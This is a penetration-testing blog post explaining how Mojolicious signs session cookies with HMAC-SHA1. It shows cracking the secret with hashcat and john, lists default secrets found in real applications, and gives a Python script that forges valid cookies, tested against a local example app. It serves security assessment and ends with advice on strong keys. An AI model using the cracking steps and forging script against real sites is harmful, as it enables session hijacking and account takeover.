BAKING MOJOLICIOUS COOKIES

Rédigé par Antoine Cervoise - 01/06/2021 - dans Pentest

Mojolicious is a Perl framework for web development we have recently encountered during one of our missions. Mojolicious handles cookies using a JSON string signed using HMAC-SHA1. The format reminds JWT. This article describes how the cookie signature is done by Mojolicious and how to crack it in order to generated valid cookies.

During a past assessment, we found a web application with this kind of cookie.

```
$ curl -i http://127.0.0.1:3000/ --data "user=joel&pass=las3rs"
HTTP/1.1 302 Found
Server: Mojolicious (Perl)
Content-Length: 0
Date: Tue, 25 May 2021 13:52:48 GMT
Set-Cookie: mojolicious=eyJleHBpcmVzIjoxNjIxOTU0MzY4LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ----fc48c878a98ab9dff4fd744cb732ed19b6d96051; expires=Tue, 25 May 2021 14:52:48 GMT; path=/; HttpOnly; SameSite=Lax
Location: /protected
```

At a first glance this cookie looks like a base64-encoded strings followed by a SHA1 hash. It reminds us a JWT. All examples provided below are based on the example web application at https://github.com/mojolicious/mojo/tree/master/examples/login.

Mojolicious is a Perl framework for web development (https://mojolicious.org/ ; https://github.com/mojolicious/mojo/). This is not a new framework as it is possible to find a CVE from 2009 (for example https://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-5074) for Mojolicious. There is only few security contents regarding this framework. The second Perl Jam talk by Netanel Rubin did mention Mojolicious, but in very brief ways (https://www.youtube.com/watch?v=RPvORV2Amic).

Yes we can!

INPUT \ MODULE	CGI.PM	Catalyst	Mojolicious
Single Value	Scalar	Scalar	Scalar
Multi-Value	List of scalars	Array of scalars	Array of scalars
Single File	File Descriptor	"Upload" Hash (obj)	"Upload" Hash (obj)
Multi-File	List of FDs	List of Hashes	Array of Objects

The Github project has thousands of stars and searching for "mojolicious" on Shodan returns 2379 results. These findings include tools such as OTRS and Cisco Firepower Management Center. The Github project provides a list of tools using Mojolicious (https://github.com/mojolicious/mojo/wiki/Example-applications), however this list includes very old projects without any updates in years.

THE COOKIE RECIPE

Mojolicious' cookie system is pretty similar to JWT. Users settings are turned into JSON and signed with HMAC-SHA1 using a secret. The process is the following:

- The JSON string with the given privileges is encoded in base64.
- The equal signs (if any) are replaced by hyphens.
- The *cookieName=EncodedJSONWithReplacedEqual* string is signed with HMAC-SHA1 with a secret stored by the application.
- The *cookieName=EncodedJSONWithReplacedEqual* string is concatenated with two hyphens and the signature.

For example:

```
JSON string:                            {"expires":1621954368,"new_flash":{"message":"Thanks for logging i
n."},"user":"joel"}
Encoded in base64:                      eyJleHBpcmVzIjoxNjIxOTU0MzY4LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW
5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ==
Equal replacement:                      eyJleHBpcmVzIjoxNjIxOTU0MzY4LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW
5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ--
Unsigned cookie:                        mojolicious=eyJleHBpcmVzIjoxNjIxOTU0MzY4LCJuZXdfZmxhc2giOnsibWVzc2
FnZSI6IlRoYW5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ--
Signature of the unsigned cookie        fc48c878a98ab9dff4fd744cb732ed19b6d96051
```

```
Final cookie                          mojolicious=eyJleHBpcmVzIjoxNjIxOTU0MzY4LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ----fc48c878a98ab9dff4fd744cb732ed19b6d96051
```

Note: the cookie name can easily be changed (https://docs.mojolicious.org/Mojolicious/Sessions#cookie_name):

cookie_name

```
my $name  = $sessions->cookie_name;
$sessions = $sessions->cookie_name('session');
```

Name for session cookies, defaults to `mojolicious`.

LET'S CRACK THE COOKIE

Bruteforcing the cookie with hashcat is pretty easy. HMAC-SHA1 is hash-mode 150:

```
$ cat hashcat.txt
cad5ae0c9c6ab56f09e81e42f34daa48dd623919:mojolicious=eyJleHBpcmVzIjoxNjIxOTM0NjI3LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ--
$ hashcat -m 150 hashcat.txt wordlist.txt --force
hashcat (v5.1.0) starting...
[...]
cad5ae0c9c6ab56f09e81e42f34daa48dd623919:mojolicious=eyJleHBpcmVzIjoxNjIxOTM0NjI3LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ--:Mojolicious rocks
```

However, using john is more complicated:

```
$ cat john.txt
mojolicious=eyJleHBpcmVzIjoxNjIxOTM0NjI3LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ--#cad5ae0c9c6ab56f09e81e42f34daa48dd623919
$ john --format=hmac-sha1 john.txt
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
```

By looking into john source code for HMAC-SHA1 module (https://github.com/openwall/john/blob/bleeding-jumbo/src/hmacSHA1_fmt_plug.c), we easily found why john is not accepting our cookie (Note that hashcat suffered from the same issue: https://hashcat.net/forum/thread-6879.html):

```
 43 #define PAD_SIZE               64
[...]
 46 #define SALT_LENGTH            PAD_SIZE
[...]
171 #if SIMD_COEF_32
172        if (i > 55) return 0;
173 #else
174        if (i > SALT_LENGTH) return 0;
175 #endif
```

These lines mean that in order to use john, you will have to find a cookie smaller than 55 chars if SIMD is enabled and smaller than 64 chars if not.

When the Mojolicious logout function is called, an expired cookie is sent by the server with the previous username.

```
$ curl -i http://127.0.0.1:3000/logout --cookie "mojolicious=eyJleHBpcmVzIjoxNjIxOTU0MzY4LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW5rcyBmb3IgbG9nZ2luZyBpbi4ifSwidXNlciI6ImpvZWwifQ----fc48c878a98ab9dff4fd744cb732ed19b6d96051"
HTTP/1.1 302 Found
```

```
Location: /
Set-Cookie: mojolicious=eyJleHBpcmVzIjoxLCJ1c2VyIjoiam9lbCJ9--988a41e92e94e062d90682fad53324b9e5d5b841; ex
pires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; HttpOnly; SameSite=Lax
Date: Tue, 25 May 2021 13:55:08 GMT
Content-Length: 0
Server: Mojolicious (Perl)
$ echo eyJleHBpcmVzIjoxLCJ1c2VyIjoiam9lbCJ9 |base64 -d
{"expires":1,"user":"joel"}
```

This can be abused by calling the logout function without any cookie and get a small cookie that will fit with john's requirements:

```
$ curl -i http://127.0.0.1:3000/logout
HTTP/1.1 302 Found
Date: Tue, 25 May 2021 13:56:27 GMT
Set-Cookie: mojolicious=eyJleHBpcmVzIjoxfQ----2d6fe2251df0e8a9876f6d624b4783367492ff51; expires=Thu, 01 Ja
n 1970 00:00:01 GMT; path=/; HttpOnly; SameSite=Lax
Location: /
Server: Mojolicious (Perl)
Content-Length: 0
$ echo eyJleHBpcmVzIjoxfQ== |base64 -d
{"expires":1}
```

With such small strings, you can fire up john. Furthermore, you should always try to get the smallest cookie possible in order to save time during your brute force attacks.

```
$ cat john-short.txt
mojolicious=eyJleHBpcmVzIjoxfQ--#2d6fe2251df0e8a9876f6d624b4783367492ff51
$ john  john-short.txt  --wordlist=wordlist.txt--format=hmac-sha1
Mojolicious rocks (?)
1g 0:00:00:00 DONE (2021-05-25 16:06) 33.33g/s 66.66p/s 66.66c/s 66.66C/s Mojolicious rocks
```

During this analysis, we also looked into Mojolicious based applications, the following default secrets were found:

```
Mojolicious rocks
this_is_not_secure
fdjsofjoihrei
changeme0
foobarbaz
s3cret
s3cr3ts
Unique string
secret
MicroCMS791
Thanks for all the fish
solr234
```

Once you have cracked the key you can regenerate a cookie with a simple Python script:

```python
#!/usr/bin/python3

import hashlib
import hmac
import base64
import sys

def make_digest(message, key):
    key = bytes(key, 'UTF-8')
    message = bytes(message, 'UTF-8')

    digester = hmac.new(key, message, hashlib.sha1)
    signature1 = digester.hexdigest()
```

```
    return str(signature1)


if len(sys.argv) != 4:
   print('Usage: ' + sys.argv[0] + ' cookieName JSON secret')
   sys.exit(0)

name = sys.argv[1]
json = sys.argv[2]
secret = sys.argv[3]

b64encoded_json = str(base64.b64encode(json.encode('ascii')))[2:-1]
cookie = name + "=" + b64encoded_json.replace("=", "-")

result = make_digest(cookie, secret)
print(cookie + "--" + result)
```

```
$ python3 mojolicious-gen-cookie.py mojolicious '{"expires":5621934627,"new_flash":{"message":"Thanks for
cracking the secret."},"user":"tony beer"}' "Mojolicious rocks"
mojolicious=eyJleHBpcmVzIjo1NjIxOTM0NjI3LCJuZXdfZmxhc2giOnsibWVzc2FnZSI6IlRoYW5rcyBmb3IgY3JhY2tpbmcgdGhlIH
NlY3JldC4ifSwidXNlciI6InRvbnkgYmVlciJ9--1a44b85fed71d9858aaf0938786ad642d1a6f15d

$ curl -i http://127.0.0.1:3000/protected --cookie "mojolicious=eyJleHBpcmVzIjo1NjIxOTM0NjI3LCJuZXdfZmxhc2
giOnsibWVzc2FnZSI6IlRoYW5rcyBmb3IgY3JhY2tpbmcgdGhlIHNlY3JldC4ifSwidXNlciI6InRvbnkgYmVlciJ9--1a44b85fed71d9
858aaf0938786ad642d1a6f15d"
HTTP/1.1 200 OK
Content-Length: 187
Server: Mojolicious (Perl)
Content-Type: text/html;charset=UTF-8
Set-Cookie: mojolicious=eyJleHBpcmVzIjoxNjIxOTQxNTc0LCJ1c2VyIjoidG9ueSBiZWVyIn0---d856433c9870f8fe16159569
f5f387b89bac7032; expires=Tue, 25 May 2021 11:19:34 GMT; path=/; HttpOnly; SameSite=Lax
Date: Tue, 25 May 2021 10:19:34 GMT

<!DOCTYPE html>
<html>
  <head><title>Login Manager</title></head>
  <body>  <b>Thanks for cracking the secret.</b><br>
Welcome tony beer.<br>
<a href="/logout">Logout</a>
</body>
</html
</pre>
$ echo eyJleHBpcmVzIjoxNjIxOTQxNTc0LCJ1c2VyIjoidG9ueSBiZWVyIn0= |base64 -d
{"expires":1621941574,"user":"tony beer"}
```

CONCLUSION

In this blog post we studied how Mojolicious handles cookies. This is pretty similar to JWTs with fewer functionalities. As for JWT applications using symmetric keys, it is important to set non predictable strong keys. Furthermore, if the same application is used for different scopes, to use a unique key for each one.